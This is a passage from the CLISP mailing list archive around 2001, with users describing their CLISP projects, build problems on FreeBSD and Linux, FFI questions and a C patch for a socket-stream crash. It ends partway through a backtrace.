implement Franz's FFI (ff:bind-c-export).  It will also emit C code required
for callbacks.  There is a version available online at
ftp.franz.com/pub/cbind It is implemented with some kludges to gcc.  They
have binaries for solaris, windows, and irix.  But porting is
straightforward (if kludgy) - you actually have to download gcc 2.7.2, patch
it and recompile to create a special version of gcc for cbind.

Dan

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>
>
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>   ...
>
> >
> > > Do you have a "cbind" like utility for parsing C headers?
> >
> > not really.  I have some CL code, but it's not finished.
> > See CLOCC/CLLIB/h2lisp.
> > See also
> >
<http://sourceforge.net/tracker/?func=detail&aid=429122&group_id=1645&atid=3
51645>
> > what's cbind?
>
> Yep.  What is 'cbind'.  Also, what are the differences between your
> h2lisp and Cparse?
>
> Cheers
>
>
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On 11 Dec 2001 14:09:34 +0100, Edmund Weitz wrote:

> Paolo Amoroso <amoroso@mclink.it> writes:
> 
> > A while and a half back Bruno asked users how they were using
> > CLISP. I don't know whether those messages are in the archive. If
> > anybody is interested, I can collect the most interesting replies
> > and post them here.
> 
> That would be interesting, yes.

The relevant messages are attached here. If anybody has more up to date
information, I'd be interested too.


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>From pg@yahoo-inc.com Fri Oct 16 23:49:44 1998
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I just sent Bruno some email thanking him and his collaborators
for their work on Clisp, and mentioning that we had used it to
implement Yahoo! Store (http://store.yahoo.com).  Bruno suggested
I send mail to clisp-list about this use of Clisp.

Yahoo! Store is one of the most complex server-based apps so far,
and we have found Lisp to be the perfect language for writing this
type of program.  Y! Store is also a good example of a successful
mainstream Lisp application.  It is by far the most popular offering
in the extremely competitive e-commerce field.  We currently have
over 2300 live users, about twice as many as the #2 product.  We've
used Clisp since the beginning, and have found it to be a great CL
implementation.

--pg


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What is CLISP being used for? I'd be interested to hear from as many of
you as possible, what you are doing in CLISP. For example,

   - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium
     Space Flight. (The first choice being Harlequin CL.)

   - Paul Graham uses it for programming an uncommon kind of web server.

   - I recently used it for prototyping a graph layout algorithm. The
     Lisp prototype took a week, the C++ implementation then took a month.

   - I also use it for extracting the german/french messages from the CLISP
     source and putting them into a translation database.

How about you? Please reply to clisp-list@clisp.cons.org.

Bruno


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At 16:36 Uhr -0700 16.10.1998, Bruno Haible wrote:

>How about you? Please reply to clisp-list@clisp.cons.org.

We were running for quite some time a telephone log accounting
software with CLisp, parsing the logs of our 60 channel ISDN
telephone system, sending daily summaries and creating
monthly cost sums for billing our customers. Currently it runs
on another Lisp (this has nothing to do with the
quality of CLisp, though).

I think some logs of a Radius authentication server for our
Ascend remote access equipment will be nightly parsed,
checked and summarized by a CLisp program. Should also
give a usage overview. Some other code is running
on a Lisp machine.

A student is currently working on a program controlling the
temperature in our server room and inside some machines
(fan failures!). A CLisp program will send daily temperature
overviews and will report in 15 minute intervals problematic
conditions.

Sure some more... We are using CLisp on Solaris (SPARC and x86).

Our experiences: does its work very effectively - has replaced
scripting languages like SCSH - a bit weak on the environment/UI
side - more complete ANSI compliance would make sharing
code with other Lisps easier.

Thanks to the developers and maintainers!

Rainer Joswig

Rainer Joswig, Lavielle EDV Systemberatung GmbH & Co, Lotharstrasse 2b, D22041
Hamburg, Tel: +49 40 658088, Fax: +49 40 65808-202,
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>>>>> "Bruno" == Bruno Haible <haible@ilog.fr> writes:

    Bruno> How about you? Please reply to clisp-list@clisp.cons.org.

        Hum, what a sudden entusiasm for LISP. I don't know about you,
but I just loved that message from Paul Graham, forwarded it to almost
all my friends. Great! Great! Great!

        Since really long time ago I've been using CLISP. I started
using it in a Amiga A3000. Through time I've been tried another CL
implementations but anyway I always went back to CLISP. Currently I've
been using CLISP for my MSc. thesis work in AI. I've been gluing LISP
to neat GUI interfaces in Tcl/Tk using the naif but flexible with-wish
package.

        This recognition of the merits of CLISP by the author of two
greayt books about LISP, in an interesting applications,
positivelly-reinforced my choice of CLISP, even against friend LISP
programmers opinion. Afterall I was right in choosing CLISP...

        Best regards,

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>>>> In message <199810162348.BAA00876@jaures.ilog.fr>
>>>> On the subject of "kinds of clisp applications"
>>>> Sent on Fri, 16 Oct 1998 16:36:14 -0700 (PDT)
>>>> Honorable Bruno Haible <haible@ilog.fr> writes:
 >> 
 >> How about you? Please reply to clisp-list@clisp.cons.org.

I use it as a developing platform for futures trading systems.
(I do most of the actual computations using CMUCL, since it is about 8
times as fast as CLISP for my code, and even then an average task takes
hours to complete).

BTW, I posted an announcement of CLISP to freshmeat
(http://news.freshmeat.net). 

-- 
Sam Steingold (http://www.goems.com/~sds) running RedHat5.1 GNU/Linux
Micros**t is not the answer.  Micros**t is a question, and the answer is Linux,
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>>>> In message <362cc716.663189@mail.mclink.it>
>>>> On the subject of "Re: kinds of clisp applications"
>>>> Sent on Sat, 17 Oct 1998 09:28:17 -0700 (PDT)
>>>> Honorable amoroso@mclink.it (Paolo Amoroso) writes:
 >> On Fri, 16 Oct 1998 16:36:17 -0700 (PDT), you wrote:
 >> 
 >> > What is CLISP being used for? I'd be interested to hear from as many of
 >> [...]
 >> >    - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium
 >> >      Space Flight. (The first choice being Harlequin CL.)
 >> 
 >> Is there any publicly available info about the Lisp part of this project
 >> (i.e. I'm interested in software issues, not scientific goals or space
 >> engineering issues)?

http://ic-www.arc.nasa.gov/ic/projects/Autonomous-Systems.html

(might be relevant)

-- 
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>From joswig@lavielle.com Sat Oct 17 20:39:03 1998
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At 10:03 Uhr -0700 17.10.1998, Sam Steingold wrote:
>>>>> In message <362cc716.663189@mail.mclink.it>
>>>>> On the subject of "Re: kinds of clisp applications"
>>>>> Sent on Sat, 17 Oct 1998 09:28:17 -0700 (PDT)
>>>>> Honorable amoroso@mclink.it (Paolo Amoroso) writes:
> >> On Fri, 16 Oct 1998 16:36:17 -0700 (PDT), you wrote:
> >> 
> >> > What is CLISP being used for? I'd be interested to hear from as many of
> >> [...]
> >> >    - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium
> >> >      Space Flight. (The first choice being Harlequin CL.)
> >> 
> >> Is there any publicly available info about the Lisp part of this project
> >> (i.e. I'm interested in software issues, not scientific goals or space
> >> engineering issues)?
>
>http://ic-www.arc.nasa.gov/ic/projects/Autonomous-Systems.html

Click on home (http://ic.arc.nasa.gov/ic/index.html)
and see (bottom of page) that Peter Norvig is now working
there.

Rainer Joswig, Lavielle EDV Systemberatung GmbH & Co, Lotharstrasse 2b, D22041
Hamburg, Tel: +49 40 658088, Fax: +49 40 65808-202,
Email: joswig@lavielle.com , WWW: http://www.lavielle.com/~joswig/


>From lambertb@uic.edu Sat Oct 17 21:09:27 1998
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I used CLISP to develop a document clustering program that extracts themes
from free text data.

See, e.g., 


ftp://ludwig.pharm.uic.edu/pub/ThemeMachine.pdf (an old tech report)

ftp://ludwig.pharm.uic.edu/pub/ndcca.pdf (a research project using the
Theme Machine)

ftp://ludwig.pharm.uic.edu/pub/rph-units.d50.t.1.clink.out (some sample
output)

I also used CLISP to develop an approximate string matching and phonetic
retrieval system. This system is used for finding approximate matches in
large lexicons of proper names. In my case, I use the system to evaluate
proposed new drug names as a means of preventing drug name confusion
errors. This system is being used on a trial basis by the U. S. Food and
Drug Administration and I am about to enter into a contract with the United
States Adopted Names Council  (USANC) to provide the same service. These
two agencies combined are responsible for approving the brand and generic
names of all new drugs in the United States. USANC has responsibility for
international nonproprietary names as well.

A paper describing aspects of this system is at 


ftp://ludwig.pharm.uic.edu/pub/MedErrors.pdf (Also published in the
American Journal of Health-System Pharmacy, May 15, 1997).

Like Sam Steingold, I began my work using CLISP and eventually moved to
CMUCL. I recently 'moved up' to Allegro Common Lisp for my Tatung
Ultrasparc machine, but I will always be grateful to Bruno and the other
CLISP developers. CLISP is a very high quality implementation, and the
developers were always prepared to offer timely and very generous
assistance when questions arose.

Bravo Bruno and friends!


Bruce L. Lambert, PhD
Department of Pharmacy Administration (M/C 871)
University of Illinois at Chicago
833 S. Wood St.
Chicago, IL 60612-7231



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  What is CLISP being used for? I'd be interested to hear from as many of
  you as possible, what you are doing in CLISP. 

AP5 is a lisp extension that serves as a higher level (than lisp) 
programming language - for details see
http://ap5.com/ and
http://www.isi.edu/software-sciences/relab/relab.html

Some years ago I ported ap5 to clisp (the history of ap5 goes from
about 1984 through interlisp, symbolics, lucid and franz), and I now
use both clisp and Franz (Allegro) to host AP5.  Currently I use ap5
mostly for work on software monitoring which is described at

http://www.compsvcs.com/somos.html
http://www.compsvcs.com/flea.html

Also, my wife has for several years used clisp for scheduling a rather
large chamber music conference.  The history of that program goes back
to 1977 (this time I'll go backwards in time) through IQLisp (which I
still use for that same music conferece), interlisp, CMULisp. 

(CMULisp is not CMUCL.  It was a branch from UCILisp which came from
Stanford lisp 1.6, which I think came from MIT.  But I digress...)


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>>>>> "Bruno" == Bruno Haible <haible@ilog.fr> writes:


    Bruno> What is CLISP being used for? I'd be interested to hear from as many of
    Bruno> you as possible, what you are doing in CLISP. For example,

A while ago, I wrote a program to search for primes and generate
authentication keys.  The search was distributed over several
machines, each one looking for one prime.  When enough primes were
found, the authentication keys were computed.  The "multi-processing"
was very crude:  wait until someone returned an answer.

Ray


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> What is CLISP being used for? I'd be interested to hear from as many of
> you as possible, what you are doing in CLISP. For example,
> 
>    - Erann Gat and his team uses/used it as 2nd choice for the NASA Millenium
>      Space Flight. (The first choice being Harlequin CL.)

An overview of this project (an autonomous control system called Remote
Agent) can be found in the Sept/Oct '98 issue of IEEE Intelligent Systems
Magazine.  We haven't published anything about software engineering issues
or the use of Lisp per se.  Lisp is still a political hot potato at NASA
so we're trying not to make a big deal out of it.

The Harlequin Lispworks implementation of the Remote Agent is being
evaluated by several other NASA projects, so far with positive results.

Erann Gat
gat@jpl.nasa.gov


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Bruno Haible wrote:
 > 
 > What is CLISP being used for? I'd be interested to hear from as many of
 > you as possible, what you are doing in CLISP. 

The first thing I did with CLISP was 'classic' AI research: Plopp! a
planner for office procedures. That's where WITH-WISH came from.

Last year I implemented an application that supports the production
process of the new Wayfinding and Information System of Deutsche Bahn
AG. Architects specify contents of information signs, relations
between signs (i.e. sign groups)  and architectural constraints. Based
on this information the systems generates sign layouts that are used
by the sign producers to control the CNC machines that cut slides for
the signs. The system guarantees that all layout rules
specified by the designers of the new Wayfinding System are obeyed.
The need for this kind of system arose as Deutsche Bahn AG currently
renovates about 6500 railway stations in Germany and it was impossible 
to layout all signs by hand *and* to guarantee a consistent use of the
design rules.

The system consists of a server, implemented in CLISP, that is
connected via FFI to a relational database, a pixmap drawing module
and a TCP/IP module. Clients connect via TCP/IP to this server either
by launching a special Tcl/Tk GUI or a WEB browser. 
They can create stations, insert signs and groups of signs, preview the
layout, print station catalogs or produce sign production layouts.

The use of COMMON LISP and of CLISP in particular was the critical
decision that enabled me to implement this complex 'real world'
application within a relatively short time.

So, if you ever come to one of the renovated railway stations in
Germany and see one of the shiny new white-on-blue or blue-on-orange
signs, remember it was CLISP that made them!
(But if you lose your way or if you do not like the design of the
signs you can't put the blame on CLISP! ;-) )

--Matthias

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>>>>> "BH" == Bruno Haible <haible@ilog.fr> writes:

BH> What is CLISP being used for?

Some of our projects:


xindy, a next-generation index processor, is written in CLISP. (Note
that this is an index processor, not an indexing system.)

http://www.iti.informatik.th-darmstadt.de/xindy/ has more information.

xindy is actively developped. It is one of the projects that try to
push out a Lisp-based systems to the `masses' who are not interested
in Lisp at all. An interesting part problem is the creation of a
reasonably good source distribution. (Distribution and documentation
structure are currently one of our greatest hurdles.) -- If anyone
wants to give a hand here, contact Roger
<kehr@iti.informatik.tu-darmstadt.de> or me... :-) :-)


xindy builds on the ideas of STIL, (`SGML Transformations in Lisp', a
style sheet language to create structure-controlled SGML
applications.) STIL is an experiment to check if a CLOS-based approach
may be used in that context, instead of the commonly used scheme-based
DSSSL approaches. It is not a production system.

STIL is not actively developped.


Oh yes, and ETLS, the Executable TeX Language Specification. An
interpreter for a formal specification of the TeX Macro Language,
written in CLISP. (The concept used is very near to standard
denotational semantics.) Some day, I'm going to continue on that
project, make a TeX debugger out of it to show that this theoretical
work can have practical consequences... :-)


Besides, Lisp systems to interpret specifications of UI toolkits. But
that's up to Gabor to describe, he's reading this list, too. :-)


Cheers,
	Joachim

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> * In message <JtYVPGxBUPt16yV2J4RQGer0Zh+z@4ax.com>
> * On the subject of "Re: [clisp-list] High Performancs Clisp"
> * Sent on Tue, 11 Dec 2001 11:42:23 +0100
> * Honorable Paolo Amoroso <amoroso@mclink.it> writes:
>
> A while and a half back Bruno asked users how they were using CLISP. I
> don't know whether those messages are in the archive. If anybody is
> interested, I can collect the most interesting replies and post them
> here.

some are listed in the end of <http://clisp.cons.org/resources.html>

Please, do fill out this survey!
<https://sourceforge.net/survey/survey.php?group_id=1355&survey_id=12508>


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In my image, I have the module linuxlibc6.

[1]> (setf d (linux:opendir "/tmp"))
#<FOREIGN-ADDRESS #x0826AA08>
[2]> (setf de (linux:readdir d))
#S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0
   :|d_name| ".")
[3]> (slot-value de '|d_name|)

*** - SLOT-VALUE: The class #<STRUCTURE-CLASS LINUX:dirent> has no slot 
named |d_name|



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> * In message <Pine.LNX.4.33.0112122012360.13219-100000@ashi.FootPrints.net>
> * On the subject of "[clisp-list] Accessing slots of c-structs in Linux package."
> * Sent on Wed, 12 Dec 2001 20:24:09 -0800 (PST)
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>
> In my image, I have the module linuxlibc6.
> 
> [1]> (setf d (linux:opendir "/tmp"))
> #<FOREIGN-ADDRESS #x0826AA08>
> [2]> (setf de (linux:readdir d))
> #S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0
>    :|d_name| ".")
> [3]> (slot-value de '|d_name|)
> 
> *** - SLOT-VALUE: The class #<STRUCTURE-CLASS LINUX:dirent> has no slot 
> named |d_name|

try linux::|d_name|

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> * In message <Pine.LNX.4.33.0112122012360.13219-100000@ashi.FootPrints.net>
    >> * On the subject of "[clisp-list] Accessing slots of c-structs in Linux package."
    >> * Sent on Wed, 12 Dec 2001 20:24:09 -0800 (PST)
    >> * Honorable Kaz Kylheku <kaz@ashi.footprints.net> writes:
    >> 
    >> In my image, I have the module linuxlibc6.
    >> 
    >> [1]> (setf d (linux:opendir "/tmp"))
    >> #<FOREIGN-ADDRESS #x0826AA08>
    >> [2]> (setf de (linux:readdir d))
    >> #S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0
    >> :|d_name| ".")
    >> [3]> (slot-value de '|d_name|)
    >> 
    >> *** - SLOT-VALUE: The class #<STRUCTURE-CLASS LINUX:dirent> has no slot 
    >> named |d_name|

    Sam> try linux::|d_name|

Then shouldn't the package name have been printed out with the
structure slot names?  Otherwise it's not readable?

Ray


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The only solution I have come up with is to call some function that
generates a null one and retain that value, then compare to that using
equalp. E.g.

    (defconstant *null-pointer* (linux::realloc (linux::malloc 1) 0))

    *null-pointer*
    ==> #<FOREIGN-ADDRESS #x00000000>

    (equalp *null-pointer* (linux::opendir "/asdfasdf"))
    ==> T

    (equalp *null-pointer* (linux::opendir "/etc"))
    ==> NIL

;)



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> * In message <4nofl2u3xb.fsf@rtp.ericsson.se>
> * On the subject of "Re: [clisp-list] Accessing slots of c-structs in Linux package."
> * Sent on 13 Dec 2001 17:54:24 -0500
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>
>     >> #S(LINUX:dirent :|d_ino| 1120260 :|d_off| 12 :|d_reclen| 16 :|d_type| 0
>     >> :|d_name| ".")
>     >> [3]> (slot-value de '|d_name|)
>     >> 
>     >> *** - SLOT-VALUE: The class #<STRUCTURE-CLASS LINUX:dirent> has no slot 
>     >> named |d_name|
> 
>     Sam> try linux::|d_name|
> 
> Then shouldn't the package name have been printed out with the
> structure slot names?

these are keyword args to make-struct, not slot names.

> Otherwise it's not readable?

it is.

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While installing clisp-2.27, I had an error; I have completely
understood what has been my error, and what happened, but since my
action was natural and might confuse more naive users, it might be
considered a bug.

I run a RedHat Linux 7.0, kernel 2.2.16-22; I first installed the
binaries found at http://clisp.sourceforge.net/ ; they did not work,
probably because of kernel versions (they are compiled with 2.2.19).

Hence I got and compiled the sources; there was an error

*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/usralt/clisp-2.27/src/compiler.fas" @3000>: there is no package with name "POSIX"

and later a fatal error 

./lisp.run -B . -N locale -Efile UTF-8 -norc -m 1000KW -M halfcompiled.mem -q -c init.lisp

*** - EVAL: the function BATCHMODE-ERRORS is undefined


I then erased everything, and recompiled: it worked; looking at the
compilation messages, I found a difference that explained why it did
not work at first:

earlier I had

.....

(initial part of the compilation equal)
.....
./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"

....  clisp logo etc.

;; Loading file defseq.fas ...
;; Loading of file defseq.fas is finished.

.....  (load many more files)

;; Loading file /usralt/clisp-2.27/src/compiler.fas ...
*** - READ from #<INPUT BUFFERED FILE-STREAM CHARACTER #P"/usralt/clisp-2.27/src/compiler.fas" @3000>: there is no package with name "POSIX



after cleanup I had

;; Loading file defseq.lisp ...
;; Loading of file defseq.lisp is finished.

etc


i.e. in the first compilation I used the "old" .fas files instead of
the "new" .lisp files; the old files were garbage from the previous
binary installation, the configure had been made with diffeent flags.
I should have made a preliminary "make distclean".

In my opinion, the "bug" is in the binary distribution: the
compilation should have been made in a directory different from src.

Or it might be in configure: one should not be allowed to configure
(i.e. prepare to compile) without cleaning the compilation directory.


Carlo Traverso





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I am not interested in a flamewar, but in solving a problem.

I am not a knower of the loop language, but are the following remarks
in line with the current state of CLISP, or are perhaps they the
result of old data?  



 
From cm-2.2.1/src/cm.lisp
   
    ;; clisp's LOOP implementation is broken so load a working
    ;; version no matter what.
 
cmn has a similar defacto situation: both replace and shadow the
existing loop with an MIT loop implementation dated 1980.  It does not
seem to have an harsh comment along the lines of the above.


If the judgment is not currently accurate, one could reduce the code
size of the packages.



			John Towler




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Hi,

I installed clisp 2.27 from a FreeBSD port and all was fine, but it was
a basic install--no clx, no regex, etc.  So I expanded the source
tarball in /usr/ports/distfiles, doing the following:

localhost# cd /usr/ports/distfiles
localhost# gunzip -c clisp-2.27.tar.gz | tar xvf -
localhost# cd clisp-2.27
localhost# ./configure build
localhost# cd build
localhost# ./makemake --with-readline --with-gettext --with-dynamic-ffi
--with-dynamic-modules --with-module=wildcard --with-module=regexp
--with-module=clx/new-clx > Makefile
localhost# make config.lisp

< ... edited config.lisp to set the editor and organization name ... >

localhost# make
localhost# make check
localhost# make test
localhost# make testsuite
localhost# make install


That worked just fine, but I also wanted to use postgresql, so I added:

	--with-module=postgresql642

to the ./makemake line (after a "make distclean" to be sure all was
fresh).

This time, the make failed, claiming that /usr/libexec/ld couldn't find
"-lpq".  So, I went to /usr/ports/databases/postgresql and did "make
install", which downloaded and installed postgresql version 7.0.3.  I
copied /usr/local/pgsql/lib/libpq.* to /usr/local/lib, making sure the
links were preserved.

Back in the clisp build directory, a make again failed with exactly the
same error.  I'm not sure what questions to ask, being a newbie at
makefiles, so I'll take a few stabs:

[1] Is this likely a problem of some library path (/usr/local/lib) not
specified in the right place?
... or ...
[2] is ld finding lpq but not the version it hoped for (7.0.3 vs 6.4.2),
but the error message is imprecise?

Any help would be appreciated.

Thanks,

Eric



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> * In message <3C1C3B82.AFFB5760@alltel.net>
> * On the subject of "[clisp-list] 2.27 on FreeBSD 4.3 with Postgres 7.0.3"
> * Sent on Sun, 16 Dec 2001 00:13:22 -0600
> * Honorable Eric Moss <ericmoss@alltel.net> writes:
>
> localhost# ./configure build
> localhost# cd build
> localhost# ./makemake --with-readline --with-gettext --with-dynamic-ffi
> --with-dynamic-modules --with-module=wildcard --with-module=regexp
> --with-module=clx/new-clx > Makefile

I recommend giving all this args to ./configure.

> This time, the make failed, claiming that /usr/libexec/ld couldn't find
> "-lpq".  So, I went to /usr/ports/databases/postgresql and did "make
> install", which downloaded and installed postgresql version 7.0.3.  I
> copied /usr/local/pgsql/lib/libpq.* to /usr/local/lib, making sure the
> links were preserved.

after installing a new library, you must rebuild the "library database"
with ldconfig.
this is the piece of arcane knowledge which you learn by a word of
mouth. :-)

this, of course, is is _addition_ to making sure the paths are correct &c.

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Hi,

  I'm trying to build current sources from CVS in FreeBSD 4.0 and
  encountering a small problem. I'm following the unix/INSTALL
  instructions literally, but compilation stops on stream.d
  complaining that ICONV_CONST is not defined. I'm not familiar with
  all that autoconf m4 stuff, so I'm giving up. As far as I can
  understand ICONV_CONST should become defined in unixconf.h, when
  it being generated from unixconf.h.in, but it didn't (unixconf.h
  contain commented #undef ICONV_CONST). I spent several days on
  that trifle, so I'll try to ask here - which way I should look to ?

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> * In message <1204673510.20011218233354@ich.dvo.ru>
> * On the subject of "[clisp-list] FreeBSD 4.0 and current CVS"
> * Sent on Tue, 18 Dec 2001 23:33:54 +1000
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>   I'm trying to build current sources from CVS in FreeBSD 4.0 and
>   encountering a small problem. I'm following the unix/INSTALL
>   instructions literally, but compilation stops on stream.d
>   complaining that ICONV_CONST is not defined. I'm not familiar with
>   all that autoconf m4 stuff, so I'm giving up. As far as I can
>   understand ICONV_CONST should become defined in unixconf.h, when it
>   being generated from unixconf.h.in, but it didn't (unixconf.h
>   contain commented #undef ICONV_CONST). I spent several days on that
>   trifle, so I'll try to ask here - which way I should look to ?

I just checked in a "fix".
if does work for me on FreeBSD and Linux, but I would appreciate it if
you could try other platforms too...

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Hello,

I am using CLISP-2.27 on Win2K machine.

I have made CLOCC and would like to run gnuplot from CLISP.

I set:

(defcustom *gnuplot-path* simple-string
  #+(or win32 mswindows)
  "c:\\documents and settings\\keithr\\desktop\\gp371w32\\wgnupl32.exe"
;;  "c:/gnu/gp371w32/wgnupl32.exe"
  ;; "c:/bin/gnuplot/wgnuplot.exe"
  #+unix (if (string-equal (machine-type) "linux")
             "/usr/bin/gnuplot" "/usr/local/bin/gnuplot")
  "*The path to the windows gnuplot executable.")


and 

(defcustom *gnuplot-path-console* simple-string
  "c:\\documents and settings\\keithr\\desktop\\gp371w32\\pgnuplot.exe"
;;(defcustom *gnuplot-path-console* simple-string
"c:/gnu/gp371w32/pgnuplot.exe"
  "*The path to the console gnuplot executable.")


in gnuplot.lisp.

I made clocc using the lisp method with CLISP -- it seemed to be successful

Running:

[16]> (setq gp-stream (cllib:make-plot-stream :print)) 

[%s:14330]
*** - Win32 error 193 (ERROR_BAD_EXE_FORMAT): %1 is not a valid Win32
application.
1. Break [17]>




I am uncertain how to actually execute gnuplot commands but it seems one
needs to open a stream....

How do I run, for example:

	gnuplot> plot sin(x) w l


from within CLISP?

Perhaps this should be directed to CLOCC list.....

Thank you,
Keith


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Hi,

This is with clisp-2.27, on RH Linux 6.2.

So, I was trying to write some sample code that would act as an HTTP
client.  What I did was (socket-connect ...), (format ...), then
(read-line ...) until I got the empty line.  At that point, I did
(setf (stream-element-type *socket*) '(unsigned byte 8)), and then
(read-sequence *array* *socket*), where *array* was obtained from
make-array with the size specified by the Content-Length: header.

Everything worked, except that the first element in *array* got the
value 10 (LF), and the rest of the data was shifted by one byte,
leaving one byte of the actual data unread.  I realized that somehow I
was getting the final LF from the headers, even though it should have
already been read.  Indeed, if instead of doing the (setf
(stream-element-type ...)), I just did (read-char *socket*), I would
get the first char of the data, and not #\Newline.

I figured that it probably had something to do with CRLF -> #\Newline
translation, and that maybe it wouldn't be a problem with buffering.
So, I tried:

[1]> (setq *my-sock* (socket-connect 80 "jetcar.qnz.org" :buffered t))
#<IO BUFFERED SOCKET-STREAM CHARACTER jetcar.qnz.org:80>
[2]> (format *my-sock* "GET /icons/apache_pb.gif HTTP/1.0

")
NIL
[3]> (force-output *my-sock*)
NIL
[4]> (read-line *my-sock*)
"HTTP/1.1 200 OK" ;
NIL
[5]> (setf (stream-element-type *my-sock*) '(unsigned-byte 8))

*** - SYSTEM::BUILT-IN-STREAM-SET-ELEMENT-TYPE: argument 
*** - handle_fault error2 ! address = 0x40490824 not in [0x2029E000,0x2035A410) !
SIGSEGV cannot be cured. Fault address = 0x40490824.
Segmentation fault (core dumped)

Well, I tracked the crash down, and this patch fixes it:

--- stream.d	Mon Jul 16 10:35:54 2001
+++ ../../clisp-2.27-tas/src/stream.d	Fri Dec 28 23:31:44 2001
@@ -16238,9 +16238,9 @@
       #ifdef SOCKET_STREAMS
       case strmtype_twoway_socket:
         # Apply to the input and output side individually.
-        pushSTACK(TheStream(STACK_1)->strm_twoway_socket_input); pushSTACK(STACK_(0+1));
+        pushSTACK(TheStream(stream)->strm_twoway_socket_input); pushSTACK(STACK_(0+1));
         funcall(L(built_in_stream_set_element_type),2);
-        pushSTACK(TheStream(STACK_1)->strm_twoway_socket_output); pushSTACK(STACK_(0+1));
+        pushSTACK(TheStream(stream)->strm_twoway_socket_output); pushSTACK(STACK_(0+1));
         funcall(L(built_in_stream_set_element_type),2);
         break;
       #endif

I'm not sure why the code was using STACK_1 instead of stream to begin
with, but if there was a reason to reference the stack directly, it
should have been STACK_2, not STACK_1.  With the patch, the buffered
case works as expected, no extra LF.

The problem in the unbuffered case turns out to be the way CRLF is
handled in the unbuffered case.  If read-line encounters a CRLF in the
input stream, the LF remains unread, and the ignore_next_LF flag is
set.  When (setf (stream-element-type ...)) is used, that flag is lost
or discarded, which causes the problem.

There seem to be a few ways around it, but I haven't attempted any of
them.

 o The flag could be done away with by reading the next char from
 input, and discarding it if it's a LF, and unreading it if not.  In
 theory, this might cause an app to hang where it wouldn't have before,
 but I think the risk of that is pretty low.

 o The flag could be preserved across the (setf (stream-element-type
 ...)), but then all the read-byte functions would need to be aware of
 it.

 o apps can do a (peek-char *stream*) before
 (setf (stream-element-type ...)) to workaround it.  Seems gross to
 require that of apps, though.

Anyway, this is the first I've looked at clisp source code, so I'm
sure you'll have a better idea of how to handle this.


Todd

p.s.  I looked, but didn't find, some instructions for developers on
how to debug clisp.  I managed to build it with debugging info by
adding the appropriate "-g"s to the Makefile, but it crashed with
sigsegv whenever I tried to do a step or next in gdb.  Is there a
secret to debugging clisp in gdb?  I had to resort to printfs.  I saw
the Makefile.devel, but it didn't seem to have any support for doing a
debug build.

p.p.s.  Is there any way not to do the CRLF translation?  As it
stands, if I wanted to, e.g., write a network server that verified
strict compliance of its clients, i.e., make sure there are both a CR
and a LF at the end of lines, there's no way to do it with clisp,
unless I treat everything as bytes instead of chars, which makes lots
of other things unwieldy.


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Hello,
  I am a perl programmer who is learning lisp. I am using clisp on debian (woody) and am enjoying the language so far and am blown away by topend (what a great way to develop functions). I also like the simplicity of clisp and the interaction with my chosen editor (vim). I have written a few simple functions but want to get on to doing something more useful.

I want to connect to mysql using the UncommonSQL system and have installed this without any trouble (thanks to the lisp-controller package that debian uses). However, I hit problems when I try to use this system. For instance (when running as root to compile up the system) ...


;; Loading file /etc/clisprc ...
;; Loading of file /etc/clisprc is finished.
[1]> (load "~saul/.clisprc.lisp")
;; Loading file /home/saul/.clisprc.lisp ...
;; Loading of file /home/saul/.clisprc.lisp is finished.
T
[2]> (load "UncommonSQL.system")
;; Loading file /usr/share/common-lisp/repositories/onshore/uncommonsql/UncommonSQL.system ...
;; Loading of file /usr/share/common-lisp/repositories/onshore/uncommonsql/UncommonSQL.system is finished.
T
[3]> (require "UncommonSQL")
;      - Binary file /usr/lib/common-lisp/clisp/uncommonsql/sql/dbms-interface.fas is old or does not exist. 
;        Compile (and load) source file /usr/share/common-lisp/source/uncommonsql/sql/dbms-interface.lisp instead? y
dbms-interface.lisp instead? y
;      - Should I bother you if this happens again? n
n
;      - Should I compile and load or not? y
y

*** - DEFGENERIC DATABASE-LIST-TABLES: No initializations are allowed in a generic function lambda-list: (DATABASE &KEY (SYSTEM-TABLES NIL))

My question is, am I doing something foolish or is there a problem with UncommonSQL when used with clisp? Thanks for any help (and have a successful New Year).

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I spent some time in the Atlanta airport this Christmas, which I
can't recommend as a hub except for the relatively high availability
of electrical outlets for laptops. I diverted myself by trying to 
use CLISP
  "2.27 (released 2001-07-17) (built 3215971334) (memory 3215971555)"
under OpenBSD 2.9 on my PIII laptop as a cross-compilation host for
SBCL. I made some progress, but I still couldn't get it to work.

There was a non-ANSI-ism in CLISP that I successfully worked around:
(DOCUMENTATION X) fails when X is a PACKAGE.

There was a problem in SBCL code that CLISP pointed out. Some dead
code for the :SB-SHOW feature was being built even when that feature
wasn't given as a target feature. CLISP complained because the dead
code was defined in terms of a special variable which didn't exist in
that case. I fixed that.

There was what seems to be a problem in CLISP that I gave up on, but
which maybe someone here could help with. To replicate the problem, 
check SBCL out of CVS (since I dunno whether it'd be exactly the 
same in the last release version) and do
  $ sh make.sh clisp
and wade through the output. Find the message
       *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists
(where of course the absolute filenames will be different on your
system depending on where you're building SBCL). I think this means
that CLISP considers it a fatal error that the target file exists when
it does RENAME-FILE. I don't think this is coming from an actual
RENAME-FILE call in my code, since I tried to protect those with
preceding #+CLISP (DELETE-FILE ...) operations and that didn't fix the
problem. I don't really understand the BACKTRACE from the point of the
error,
    Compilation of file /usr/stuff/sbcl/src/code/show.lisp is finished.
    0 errors, 0 warnings
    *** - RENAME-FILE: File #P"/usr/stuff/sbcl/obj/from-host/src/code/show.lisp-obj" already exists
    1. Break SB-COLD[8]> backtrace
    EVAL frame for form 
    (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P
     (FIND :IGNORE-FAILURE-P FLAGS))
    EVAL frame for form 
    (UNLESS (FIND :NOT-HOST FLAGS)
     (FUNCALL LOAD-OR-CLOAD-STEM STEM :IGNORE-FAILURE-P
      (FIND :IGNORE-FAILURE-P FLAGS)))
    EVAL frame for form 
    (LET
